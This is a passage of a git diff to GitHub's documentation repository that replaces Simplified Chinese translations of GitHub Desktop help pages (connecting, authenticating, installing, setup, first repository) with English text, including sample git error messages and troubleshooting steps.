repository, you can seamlessly access and manage large files with {% data variables.product.prodname_desktop %} like any other file in the repository. -在配置 {% data variables.large_files.product_name_short %} 跟踪仓库中的文件后，您可以通过 {% data variables.product.prodname_desktop %} 无缝访问和管理大文件，就像处理仓库中的其他文件一样。 - -## 延伸阅读 -- "[处理大文件](/github/managing-large-files/working-with-large-files)" -- “[大文件版本管理](/github/managing-large-files/versioning-large-files)” +## Further reading +- "[Working with large files](/github/managing-large-files/working-with-large-files)" +- "[Versioning large files](/github/managing-large-files/versioning-large-files)" diff --git a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md index 646fc55759..6200a8c0c5 100644 --- a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md +++ b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md @@ -1,19 +1,18 @@ --- -title: 关于连接到 GitHub -intro: '{% data variables.product.prodname_desktop %} 使用 HTTPS 与 {% data variables.product.prodname_dotcom %} 安全地交换数据。' +title: About connections to GitHub +intro: '{% data variables.product.prodname_desktop %} uses HTTPS to securely exchange data with {% data variables.product.prodname_dotcom %}.' redirect_from: - /desktop/getting-started-with-github-desktop/about-connections-to-github - /desktop/installing-and-configuring-github-desktop/about-connections-to-github versions: fpt: '*' -shortTitle: 关于连接 +shortTitle: About connections --- +{% data variables.product.prodname_desktop %} connects to {% data variables.product.prodname_dotcom %} when you pull from, push to, clone, and fork remote repositories. To connect to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_desktop %}, you must authenticate your account. For more information, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)." -当您对远程仓库执行拉取、推送、克隆和复刻操作时，{% data variables.product.prodname_desktop %} 将连接到 {% data variables.product.prodname_dotcom %}。 要从 {% data variables.product.prodname_desktop %} 连接到 {% data variables.product.prodname_dotcom %}，您必须验证您的帐户。 更多信息请参阅“[向 {% data variables.product.prodname_dotcom %} 验证](/desktop/getting-started-with-github-desktop/authenticating-to-github)”。 +After you authenticate to {% data variables.product.prodname_dotcom %}, you can connect to remote repositories with {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} caches your credentials (username and password or personal access token) and uses the credentials to authenticate for each connection to the remote repository. -在向 {% data variables.product.prodname_dotcom %} 验证后，您可以通过 {% data variables.product.prodname_desktop %} 连接远程仓库。 {% data variables.product.prodname_desktop %} 缓存您的凭据（用户名和密码或个人访问令牌），并使用凭据验证到远程存储库的每个连接。 +{% data variables.product.prodname_desktop %} connects to {% data variables.product.prodname_dotcom %} using HTTPS. If you use {% data variables.product.prodname_desktop %} to access repositories that were cloned using SSH, you may encounter errors. To connect to a repository that was cloned using SSH, change the remote's URLs. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." -{% data variables.product.prodname_desktop %} 使用 HTTPS 连接到 {% data variables.product.prodname_dotcom %}。 如果使用 {% data variables.product.prodname_desktop %} 访问使用 SSH 克隆的仓库，可能会遇到错误。 要连接到使用 SSH 克隆的仓库，请更改远程 URL。 更多信息请参阅“[管理远程仓库](/github/getting-started-with-github/managing-remote-repositories)”。 - -## 延伸阅读 -- “[从 GitHub Desktop 克隆和复刻仓库](/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)” +## Further reading +- "[Cloning and forking repositories from GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)" diff --git a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md index a19cd3623b..f43d874d92 100644 --- a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md +++ b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md @@ -1,7 +1,7 @@ --- -title: 向 GitHub 验证 -shortTitle: 身份验证 -intro: '您可以通过向 {% data variables.product.prodname_dotcom %} 验证来安全地访问您的帐户在 {% data variables.product.prodname_desktop %} 上的资源。' +title: Authenticating to GitHub +shortTitle: Authentication +intro: 'You can securely access your account''s resources on {% data variables.product.prodname_desktop %} by authenticating to {% data variables.product.prodname_dotcom %}.' redirect_from: - /desktop/getting-started-with-github-desktop/authenticating-to-github-using-the-browser - /desktop/getting-started-with-github-desktop/authenticating-to-github @@ -9,111 +9,118 @@ redirect_from: versions: fpt: '*' --- +## About authentication -## 关于身份验证 +To keep your account secure, you must authenticate before you can use {% data variables.product.prodname_desktop %} to access resources on {% data variables.product.prodname_dotcom %}. -为确保帐户安全，必须先进行身份验证，然后才可使用 {% data variables.product.prodname_desktop %} 访问 {% data variables.product.prodname_dotcom %}上的资源。 - -在进行身份验证之前，{% data reusables.desktop.get-an-account %} +Before you authenticate, {% data reusables.desktop.get-an-account %} {% mac %} -## 在 {% data variables.product.prodname_dotcom %} 上验证帐户 +## Authenticating an account on {% data variables.product.prodname_dotcom %} {% data reusables.desktop.mac-select-desktop-menu %} {% data reusables.desktop.mac-select-accounts %} -3. 在“{% data variables.product.prodname_dotcom_the_website %}”右边单击 **Sign In（登录）**。 ![GitHub 的登录按钮](/assets/images/help/desktop/mac-sign-in-github.png) -4. 在“Sign in（登录）”窗格中，单击 **Sign in using your browser（使用浏览器登录）**。 {% data variables.product.prodname_desktop %} 将打开您的默认浏览器。 ![使用浏览器链接登录](/assets/images/help/desktop/sign-in-browser.png) +3. To the right of "{% data variables.product.prodname_dotcom_the_website %}," click **Sign In**. + ![The Sign In button for GitHub](/assets/images/help/desktop/mac-sign-in-github.png) +4. In the "Sign in" pane, click **Sign in using your browser**. {% data variables.product.prodname_desktop %} will open your default browser. + ![The Sign in using your browser link](/assets/images/help/desktop/sign-in-browser.png) {% data reusables.user_settings.password-authentication-deprecation-desktop %} {% data reusables.desktop.authenticate-in-browser %} {% data reusables.desktop.2fa-in-browser %} -7. 在 {% data variables.product.prodname_dotcom %} 验证帐户后，按照提示返回到 {% data variables.product.prodname_desktop %}。 +7. After {% data variables.product.prodname_dotcom %} authenticates your account, follow the prompts to return to {% data variables.product.prodname_desktop %}. -## 在 {% data variables.product.prodname_enterprise %} 上验证帐户 +## Authenticating an account on {% data variables.product.prodname_enterprise %} {% data reusables.user_settings.password-authentication-deprecation-desktop %} {% data reusables.desktop.mac-select-desktop-menu %} {% data reusables.desktop.mac-select-accounts %} {% data reusables.desktop.choose-product-authenticate %} -4. 要添加 {% data variables.product.prodname_enterprise %} 帐户，请在“Enterprise server address（企业服务器地址）”下键入您的凭据，然后单击 **Continue（继续）**。 ![GitHub Enterprise 的登录按钮](/assets/images/help/desktop/mac-sign-in-button-enterprise.png) +4. To add a {% data variables.product.prodname_enterprise %} account, type your credentials under "Enterprise server address," then click **Continue**. + ![The Sign In button for GitHub Enterprise](/assets/images/help/desktop/mac-sign-in-button-enterprise.png) {% data reusables.desktop.retrieve-2fa %} {% endmac %} {% windows %} -## 在 {% data variables.product.prodname_dotcom %} 上验证帐户 +## Authenticating an account on {% data variables.product.prodname_dotcom %} {% data reusables.desktop.windows-choose-options %} {% data reusables.desktop.windows-select-accounts %} -3. 在 "GitHub.com" 右边单击 **Sign in（登录）**。 ![GitHub 的登录按钮](/assets/images/help/desktop/windows-sign-in-github.png) -4. 在 Sign in（登录）窗格中，单击 **Sign in using your browser（使用浏览器登录）**。 ![使用浏览器链接登录](/assets/images/help/desktop/sign-in-browser.png) +3. To the right of "GitHub.com," click **Sign in**. + ![The Sign In button for GitHub](/assets/images/help/desktop/windows-sign-in-github.png) +4. In the Sign in pane, click **Sign in using your browser**. + ![The Sign in using your browser link](/assets/images/help/desktop/sign-in-browser.png) {% data reusables.user_settings.password-authentication-deprecation-desktop %} {% data reusables.desktop.authenticate-in-browser %} {% data reusables.desktop.2fa-in-browser %} -7. 在 {% data variables.product.prodname_dotcom %} 验证帐户后，按照提示返回到 {% data variables.product.prodname_desktop %}。 +7. After {% data variables.product.prodname_dotcom %} authenticates your account, follow the prompts to return to {% data variables.product.prodname_desktop %}. -## 在 {% data variables.product.prodname_enterprise %} 上验证帐户 +## Authenticating an account on {% data variables.product.prodname_enterprise %} {% data reusables.desktop.windows-choose-options %} {% data reusables.desktop.windows-select-accounts %} {% data reusables.desktop.choose-product-authenticate %} -4. 要添加 {% data variables.product.prodname_enterprise %} 帐户，请在“Enterprise server address（企业服务器地址）”下键入您的凭据，然后单击 **Continue（继续）**。 ![GitHub Enterprise 的登录按钮](/assets/images/help/desktop/windows-sign-in-button-enterprise.png) +4. To add a {% data variables.product.prodname_enterprise %} account, type your credentials under "Enterprise server address," then click **Continue**. + ![The Sign In button for GitHub Enterprise](/assets/images/help/desktop/windows-sign-in-button-enterprise.png) {% data reusables.desktop.retrieve-2fa %} {% endwindows %} -## 解决身份验证问题 +## Troubleshooting authentication issues -如果 {% data variables.product.prodname_desktop %} 遇到身份验证错误，可以使用错误消息进行故障排除。 +If {% data variables.product.prodname_desktop %} encounters an authentication error, you can use error messages to troubleshoot. -如果您遇到身份验证错误，请先尝试在 {% data variables.product.prodname_desktop %} 上注销您的帐户，然后重新登录。 +If you encounter an authentication error, first try signing out and signing back in to your account on {% data variables.product.prodname_desktop %}. -对于某些错误，{% data variables.product.prodname_desktop %} 会以错误消息提示您。 如果没有提示，或者要查找任何错误的更多信息，请使用以下步骤查看 {% data variables.product.prodname_desktop %} 日志文件。 +For some errors, {% data variables.product.prodname_desktop %} will prompt you with an error message. If you are not prompted, or to find more information about any error, view the {% data variables.product.prodname_desktop %} log files by using the following steps. {% mac %} -1. 使用 **Help（帮助）**下拉菜单并单击 **Show Logs in Finder（在 Finder 中显示日志）**。 ![Show Logs in Finder（在 Finder 中显示日志）按钮](/assets/images/help/desktop/mac-show-logs.png) -2. 选择您遇到身份验证错误之日的日志文件。 +1. Use the **Help** drop-down menu and click **Show Logs in Finder**. + ![The Show Logs in Finder button](/assets/images/help/desktop/mac-show-logs.png) +2. Select the log file from the date when you encountered the authentication error. {% endmac %} {% windows %} -1. 使用 **Help（帮助）**下拉菜单并单击 **Show Logs in Explorer（在 Explorer 中显示日志）**。 ![Show Logs in Explorer（在 Explorer 中显示日志）按钮](/assets/images/help/desktop/windows-show-logs.png) -2. 选择您遇到身份验证错误之日的日志文件。 +1. Use the **Help** drop-down menu and click **Show Logs in Explorer**. + ![The Show Logs in Explorer button](/assets/images/help/desktop/windows-show-logs.png) +2. Select the log file from the date when you encountered the authentication error. {% endwindows %} -查看下面的故障排除信息，了解您遇到的错误消息。 +Review the troubleshooting information below for the error message that you encounter. -### 无效凭据 +### Bad credentials ```shell Error: Bad credentials ``` -此错误意味着存储的帐户凭据有问题。 +This error means that there is an issue with your stored account credentials. -要解决问题，请在 {% data variables.product.prodname_desktop %} 上注销您的帐户，然后重新登录。 +To troubleshoot, sign out of your account on {% data variables.product.prodname_desktop %} and then sign back in. -### 空令牌 +### Empty token ```shell info: [ui] [AppStore.withAuthenticatingUser] account found for repository: node - (empty token) ``` -这个错误表示 {% data variables.product.prodname_desktop %} 找不到它在系统密钥链中创建的访问令牌。 +This error means that {% data variables.product.prodname_desktop %} is unable to find the access token that it created in the system keychain. -要解决问题，请在 {% data variables.product.prodname_desktop %} 上注销您的帐户，然后重新登录。 +To troubleshoot, sign out of your account on {% data variables.product.prodname_desktop %} and then sign back in. -### 未找到仓库 +### Repository not found ```shell fatal: repository 'https://github.com//.git' not found @@ -121,11 +128,11 @@ fatal: repository 'https://github.com//.git' not found (The error was parsed as 8: The repository does not seem to exist anymore. You may not have access, or it may have been deleted or renamed.) ``` -这个错误表示您没有权限访问您想克隆的仓库。 +This error means that you do not have permission to access the repository that you are trying to clone. -要解决问题，请联系您组织中管理权限的人。 +To troubleshoot, contact the person in your organization who administers permissions. -### 无法读取远程仓库 +### Could not read from remote repository ```shell git@github.com: Permission denied (publickey). @@ -134,11 +141,11 @@ fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. ``` -这个错误表示您没有设置有效的 SSH 密钥。 +This error means that you do not have a valid SSH key set up. -要解决问题，请参阅“[生成新的 SSH 密钥并添加到 SSH 代理](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”。 +To troubleshoot, see "[Generating a new SSH key and adding it to the SSH agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." -### 无法克隆 +### Failed to clone ```shell fatal: clone of 'git@github.com:/' into submodule path '' failed @@ -150,32 +157,34 @@ Please make sure you have the correct access rights and the repository exists. ``` -这个错误表示您尝试克隆的仓库包含您无法访问的子模块，或者您没有设置有效的 SSH 密钥。 +This error means that either the repository that you are trying to clone has submodules that you do not have access to or you do not have a valid SSH key set up. -如果您无法访问子模块，请通过联系管理仓库权限的人解决问题。 +If you do not have access to the submodules, troubleshoot by contacting the person who administers permissions for the repository. -如果未设置有效的 SSH 密钥，请参阅“[生成新的 SSH 密钥并添加到 SSH 代理](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”。 +If you do not have a valid SSH key set up, see "[Generating a new SSH key and adding it to the SSH agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." {% windows %} -### 无法读取 AskPass 响应 +### Unable to read AskPass response ```shell error: unable to read askpass response from '/Users//GitHub Desktop.app/Contents/Resources/app/static/ask-pass-trampoline.sh' fatal: could not read Username for 'https://github.com': terminal prompts disabled ``` -这个错误可能是多个事件造成的。 +This error can be caused by multiple events. -如果 `Command Processor` 注册表条目已修改，{% data variables.product.prodname_desktop %} 将以 `Authentication failed` 错误响应。 要检查这些注册表条目是否已修改，请按照以下步骤操作。 +If the `Command Processor` registry entries are modified, {% data variables.product.prodname_desktop %} will respond with an `Authentication failed` error. To check if these registry entries have been modified, follow these steps. -1. 打开注册表编辑器 (`regedit.exe`) 并导航到以下位置。 `` HKEY_CURRENT_USER\Software\Microsoft\Command Processor\` ``HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\` -2. 检查任一位置是否有 `Autorun` 值。 -3. 如果有 `Autorun` 值，请删除它。 +1. Open the Registry Editor (`regedit.exe`) and navigate to the following locations. + `HKEY_CURRENT_USER\Software\Microsoft\Command Processor\` + `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\` +2. Check to see if there is an `Autorun` value in either location. +3. If there is an `Autorun` value, delete it. -如果您的 Windows 用户名延长了 Unicode 字符，可能导致 AskPass 响应错误。 要解决问题，请创建新的 Windows 用户帐户，然后将文件迁移到该帐户。 更多信息请参阅 Microsoft 文档中的 "[在 Windows 中创建用户帐户](https://support.microsoft.com/en-us/help/13951/windows-create-user-account)"。 +If your Windows username has extended Unicode characters, it may cause an AskPass response error. To troubleshoot, create a new Windows user account and migrate your files to that account. For more information, see "[Create a user account in Windows](https://support.microsoft.com/en-us/help/13951/windows-create-user-account)" in the Microsoft documentation. {% endwindows %} -## 延伸阅读 -- “[关于向 GitHub 验证身份](/github/authenticating-to-github/about-authentication-to-github)” +## Further reading +- "[About authentication to GitHub](/github/authenticating-to-github/about-authentication-to-github)" diff --git a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md index 0ff7c4594b..a64e3a686c 100644 --- a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md +++ b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md @@ -1,55 +1,58 @@ --- -title: 安装 GitHub Desktop -shortTitle: 安装 -intro: 您可以在受支持的 Windows 或 macOS 操作系统上安装 GitHub Desktop。 +title: Installing GitHub Desktop +shortTitle: Installation +intro: You can install GitHub Desktop on supported Windows or macOS operating systems. redirect_from: - /desktop/getting-started-with-github-desktop/installing-github-desktop - /desktop/installing-and-configuring-github-desktop/installing-github-desktop versions: fpt: '*' --- +## About {% data variables.product.prodname_desktop %} installation -## 关于 {% data variables.product.prodname_desktop %} 安装 - -您可以在当前包含 {% data variables.desktop.mac-osx-versions %} 和 {% data variables.desktop.windows-versions %} 的支持操作系统上安装 {% data variables.product.prodname_desktop %}。 如果您在 {% data variables.product.prodname_dotcom %} 或 {% data variables.product.prodname_enterprise %}上有帐户，您可以将帐户连接到 {% data variables.product.prodname_desktop %}。 有关创建帐户的更多信息，请参阅“[注册新 {% data variables.product.prodname_dotcom %} 帐户](/articles/signing-up-for-a-new-github-account/)”或联系您的 {% data variables.product.prodname_enterprise %} 帐户管理员。 +You can install {% data variables.product.prodname_desktop %} on supported operating systems, which currently include {% data variables.desktop.mac-osx-versions %} and {% data variables.desktop.windows-versions %}. If you have an account on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}, you can connect your account to {% data variables.product.prodname_desktop %}. For more information about creating an account, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account/)" or contact your {% data variables.product.prodname_enterprise %} site administrator. {% windows %} -如果您是网络管理员，可以使用 Windows 安装程序包文件 (`.msi`) 与组策略或其他远程安装系统一起将 {% data variables.product.prodname_desktop %} 部署到在 Active Directory 管理的网络上运行 Windows 的计算机。 +If you are a network administrator, you can deploy {% data variables.product.prodname_desktop %} to computers running Windows on an Active Directory-managed network by using the Windows Installer package file (`.msi`) with Group Policy or another remote installation system. -当用户下次登录其工作站时，Windows 安装程序包将解压缩独立的安装程序 (`.exe`) 并配置 Windows 安装 {% data variables.product.prodname_desktop %}。 用户必须具有在其用户目录中安装 {% data variables.product.prodname_desktop %} 的权限。 +The Windows Installer package extracts the standalone installer (`.exe`) and configures Windows to install {% data variables.product.prodname_desktop %} the next time a user signs in to their workstation. Users must have permissions to install {% data variables.product.prodname_desktop %} in their user directory. -如果用户直接运行 {% data variables.product.prodname_desktop %} 的 Windows 安装程序包，要完成安装，用户必须注销其工作站，然后重新登录。 +If a user runs the Windows Installer package for {% data variables.product.prodname_desktop %} directly, to complete the installation, the user must sign out of their workstation and then sign back in. {% endwindows %} -## 下载并安装 {% data variables.product.prodname_desktop %} +## Downloading and installing {% data variables.product.prodname_desktop %} {% mac %} -您可以在 {% data variables.desktop.mac-osx-versions %} 上安装 {% data variables.product.prodname_desktop %}。 +You can install {% data variables.product.prodname_desktop %} on {% data variables.desktop.mac-osx-versions %}. {% data reusables.desktop.download-desktop-page %} -2. 单击 **Download for macOS（为 macOS 下载）**。 ![Download for macOS（为 macOS 下载）按钮](/assets/images/help/desktop/download-for-mac.png) -3. 在计算机的 `Downloads` 文件夹中，双击 **{% data variables.product.prodname_desktop %}** zip 文件。 ![GitHubDesktop. zip 文件](/assets/images/help/desktop/mac-zipfile.png) -4. 在文件解压缩之后，双击 **{% data variables.product.prodname_desktop %}**。 -5. {% data variables.product.prodname_desktop %} 将在安装完成后启动。 +2. Click **Download for macOS**. + ![The Download for macOS button](/assets/images/help/desktop/download-for-mac.png) +3. In your computer's `Downloads` folder, double-click the **{% data variables.product.prodname_desktop %}** zip file. + ![The GitHubDesktop.zip file](/assets/images/help/desktop/mac-zipfile.png) +4. After the file has been unzipped, double-click **{% data variables.product.prodname_desktop %}**. +5. {% data variables.product.prodname_desktop %} will launch after installation is complete. {% endmac %} {% windows %} -您可以在 {% data variables.desktop.windows-versions %} 上安装 {% data variables.product.prodname_desktop %}。 +You can install {% data variables.product.prodname_desktop %} on {% data variables.desktop.windows-versions %}. {% warning %} -**警告**：必须有 64 位操作系统才可运行 {% data variables.product.prodname_desktop %}。 +**Warning**: You must have a 64-bit operating system to run {% data variables.product.prodname_desktop %}. {% endwarning %} {% data reusables.desktop.download-desktop-page %} -2. 单击 **Download for Windows（为 Windows 下载）**。 ![Download for Windows（为 Windows 下载）按钮](/assets/images/help/desktop/download-for-windows.png) -3. 在计算机的 `Downloads` 文件夹中，双击 **{% data variables.product.prodname_desktop %}** 安装文件。 ![GitHubDesktopSetup 文件](/assets/images/help/desktop/windows-githubdesktopsetup.png) -4. {% data variables.product.prodname_desktop %} 将在安装完成后启动。 +2. Click **Download for Windows**. + ![The Download for Windows button](/assets/images/help/desktop/download-for-windows.png) +3. In your computer's `Downloads` folder, double-click the **{% data variables.product.prodname_desktop %}** setup file. + ![The GitHubDesktopSetup file](/assets/images/help/desktop/windows-githubdesktopsetup.png) +4. {% data variables.product.prodname_desktop %} will launch after installation is complete. {% endwindows %} diff --git a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md index b1664e57a7..609af94809 100644 --- a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md +++ b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md @@ -1,44 +1,43 @@ --- -title: 设置 GitHub Desktop -shortTitle: 设置 -intro: '您可以设置 {% data variables.product.prodname_desktop %} 以适应您的需求并参与项目。' +title: Setting up GitHub Desktop +shortTitle: Setup +intro: 'You can set up {% data variables.product.prodname_desktop %} to suit your needs and contribute to projects.' redirect_from: - /desktop/getting-started-with-github-desktop/setting-up-github-desktop - /desktop/installing-and-configuring-github-desktop/setting-up-github-desktop versions: fpt: '*' --- +## Part 1: Installing {% data variables.product.prodname_desktop %} -## 第 1 部分：安装 {% data variables.product.prodname_desktop %} +You can install {% data variables.product.prodname_desktop %} on any supported operating system. For more information, see "[Supported Operating Systems](/desktop/getting-started-with-github-desktop/supported-operating-systems)." -您可以在任何支持的操作系统上安装 {% data variables.product.prodname_desktop %}。 更多信息请参阅“[支持的操作系统](/desktop/getting-started-with-github-desktop/supported-operating-systems)”。 +To install {% data variables.product.prodname_desktop %}, navigate to [https://desktop.github.com/](https://desktop.github.com/) and download the appropriate version of {% data variables.product.prodname_desktop %} for your operating system. Follow the prompts to complete the installation. For more information, see "[Installing {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/installing-github-desktop)." -要安装 {% data variables.product.prodname_desktop %}，请导航到 [https://desktop.github.com/](https://desktop.github.com/) 并为操作系统下载适当的 {% data variables.product.prodname_desktop %} 版本。 按照提示完成安装。 更多信息请参阅“[安装 {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/installing-github-desktop)。” +## Part 2: Configuring your account -## 第 2 部分：配置您的帐户 +If you have an account on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}, you can use {% data variables.product.prodname_desktop %} to exchange data between your local and remote repositories. -如果您在 {% data variables.product.prodname_dotcom %} 或 {% data variables.product.prodname_enterprise %} 上有帐户，可以使用 {% data variables.product.prodname_desktop %} 在本地与远程仓库之间交换数据。 +### Creating an account +If you do not already have an account on {% data variables.product.prodname_dotcom %}, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account/)." -### 创建帐户 -如果您在 {% data variables.product.prodname_dotcom %} 上还没有帐户，请参阅“[Signing up for a new {% data variables.product.prodname_dotcom %} 帐户](/articles/signing-up-for-a-new-github-account/)”。 +If you are part of an organization that uses {% data variables.product.prodname_enterprise %} and you do not have an account, contact your {% data variables.product.prodname_enterprise %} site administrator. -如果您属于使用 {% data variables.product.prodname_enterprise %} 的组织但没有帐户，请联系您的 {% data variables.product.prodname_enterprise %} 网站管理员。 +### Authenticating to {% data variables.product.prodname_dotcom %} +To connect to {% data variables.product.prodname_desktop %} with {% data variables.product.prodname_dotcom %}, you'll need to authenticate your account. For more information, see "[Authenticating to {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)." -### 向 {% data variables.product.prodname_dotcom %} 验证 -要使用 {% data variables.product.prodname_dotcom %} 连接到 {% data variables.product.prodname_desktop %}，您必须验证您的帐户。 更多信息请参阅“[向 {% data variables.product.prodname_desktop %} 验证](/desktop/getting-started-with-github-desktop/authenticating-to-github)”。 +After authenticating your account, you are ready to manage and contribute to projects with {% data variables.product.prodname_desktop %}. -验证您的帐户后，您就可以使用 {% data variables.product.prodname_desktop %} 管理和参与项目。 +## Part 3: Configuring Git +You must have Git installed before using {% data variables.product.prodname_desktop %}. If you do not already have Git installed, you can download and install the latest version of Git from [https://git-scm.com/downloads](https://git-scm.com/downloads). -## 第 3 部分：配置 Git -必须先安装 Git 后才能使用 {% data variables.product.prodname_desktop %}。 如果尚未安装 Git，可以从 [https://git-scm.com/downloads](https://git-scm.com/downloads)下载和安装最新版本的 Git。 +After you have Git installed, you'll need to configure Git for {% data variables.product.prodname_desktop %}. For more information, see "[Configuring Git for {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/configuring-git-for-github-desktop)." -安装 Git 后，需要为 {% data variables.product.prodname_desktop %} 配置 Git。 更多信息请参阅“[为 {% data variables.product.prodname_desktop %} 配置 Git](/desktop/getting-started-with-github-desktop/configuring-git-for-github-desktop)”。 +## Part 4: Customizing {% data variables.product.prodname_desktop %} +You can adjust defaults and settings to tailor {% data variables.product.prodname_desktop %} to your needs. -## 第 4 部分：自定义 {% data variables.product.prodname_desktop %} -您可以调整默认值和设置，使 {% data variables.product.prodname_desktop %} 适合您的需求。 +### Choosing a default text editor +You can open a text editor from {% data variables.product.prodname_desktop %} to manipulate files and repositories. {% data variables.product.prodname_desktop %} supports a variety of text editors and integrated development environments (IDEs) for Windows and macOS. You can choose a default editor in the {% data variables.product.prodname_desktop %} settings. For more information, see "[Configuring a default editor](/desktop/getting-started-with-github-desktop/configuring-a-default-editor)." -### 选择默认文本编辑器 -您可以从 {% data variables.product.prodname_desktop %} 打开文本编辑器来操作文件和仓库。 {% data variables.product.prodname_desktop %} 支持用于 Windows 和 macOS 的各种文本编辑器和集成开发环境 (IDE)。 您可以在 {% data variables.product.prodname_desktop %} 设置中选择默认编辑器。 更多信息请参阅“[配置默认编辑器](/desktop/getting-started-with-github-desktop/configuring-a-default-editor)。 - -### 选择主题 -{% data variables.product.prodname_desktop %} 有多个主题可用于自定义应用程序的外观。 您可以在 {% data variables.product.prodname_desktop %} 设置中选择主题。 更多信息请参阅“[设置 {% data variables.product.prodname_desktop %} 的主题](/desktop/getting-started-with-github-desktop/setting-a-theme-for-github-desktop)”。 +### Choosing a theme +{% data variables.product.prodname_desktop %} has multiple themes available to customize the look and feel of the app. You can choose a theme in the {% data variables.product.prodname_desktop %} settings. For more information, see "[Setting a theme for {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/setting-a-theme-for-github-desktop)." diff --git a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md index 8066488bff..d22489d472 100644 --- a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md +++ b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md @@ -1,98 +1,112 @@ --- -title: 使用 GitHub Desktop 创建第一个仓库 -shortTitle: 创建第一个仓库 -intro: '您可以使用 {% data variables.product.prodname_desktop %} 来创建和管理 Git 仓库，而不是使用命令行。' +title: Creating your first repository using GitHub Desktop +shortTitle: Creating your first repository +intro: 'You can use {% data variables.product.prodname_desktop %} to create and manage a Git repository without using the command line.' redirect_from: - /desktop/getting-started-with-github-desktop/creating-your-first-repository-using-github-desktop - /desktop/installing-and-configuring-github-desktop/creating-your-first-repository-using-github-desktop versions: fpt: '*' --- +## Introduction +{% data variables.product.prodname_desktop %} extends and simplifies your {% data variables.product.prodname_dotcom_the_website %} workflow, using a visual interface instead of text commands on the command line. By the end of this guide, you'll have used {% data variables.product.prodname_desktop %} to create a repository, make changes to the repository, and publish the changes to {% data variables.product.product_name %}. -## 简介 -{% data variables.product.prodname_desktop %} 可扩展并简化您的 {% data variables.product.prodname_dotcom_the_website %} 工作流程，它使用可视界面，而不是在命令行上使用命令文本。 在本指南结束时，您已经使用 {% data variables.product.prodname_desktop %} 创建仓库，更改仓库，并将更改推送到 {% data variables.product.product_name %}。 +After installing {% data variables.product.prodname_desktop %} and signing into {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %} you can create and clone a tutorial repository. The tutorial will introduce the basics of working with Git and {% data variables.product.prodname_dotcom %}, including installing a text editor, creating a branch, making a commit, pushing to {% data variables.product.prodname_dotcom_the_website %}, and opening a pull request. The tutorial is available if you do not have any repositories on {% data variables.product.prodname_desktop %} yet. -安装 {% data variables.product.prodname_desktop %} 并登录 {% data variables.product.prodname_dotcom %} 或 {% data variables.product.prodname_enterprise %} 之后，您可以创建和克隆教程仓库。 本教程将介绍使用 Git 和 {% data variables.product.prodname_dotcom %} 的基础知识，包括文本编辑器、创建分支、进行提交、推送到 {% data variables.product.prodname_dotcom_the_website %}，以及打开拉取请求。 如果您在 {% data variables.product.prodname_desktop %} 上还没有任何仓库，就可以使用本教程。 +We recommend completing the tutorial, but if you want to explore {% data 